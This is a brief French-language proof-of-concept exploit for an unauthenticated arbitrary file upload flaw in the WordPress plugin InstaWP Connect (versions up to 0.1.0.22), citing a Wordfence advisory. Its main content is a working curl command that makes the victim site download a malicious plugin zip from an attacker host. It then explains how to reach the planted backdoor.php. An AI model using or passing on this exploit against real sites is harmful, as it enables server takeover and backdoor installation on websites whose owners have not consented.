InstaWP Connect – Staging et migration WP en 1 clic <= 0.1.0.22 - Téléchargement de fichier arbitraire non authentifié

POC (Avec CURL) :

curl --data "api_key=123&override_plugin_zip=http://attacker-domain/malicious-plugin.zip" "http://victim-domain/?rest_route=/instawp-connect/v1/config"

api_key -> Vous pouvez utiliser une clé API valide ou invalide.
override_plugin_zip -> Chemin vers le fichier zip contenant un plugin WordPress malveillant avec une porte dérobée.

Une fois importé, vous pouvez accéder à la porte dérobée via http://victim-domain/wp-content/plugins/malicious-plugin/backdoor.php (en supposant que le nom du répertoire est malicious-plugin et que backdoor.php se trouve dans ce répertoire).

Références :

• https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/instawp-connect/instawp-connect-1-click-wp-staging-migration-01022-unauthenticated-arbitrary-file-upload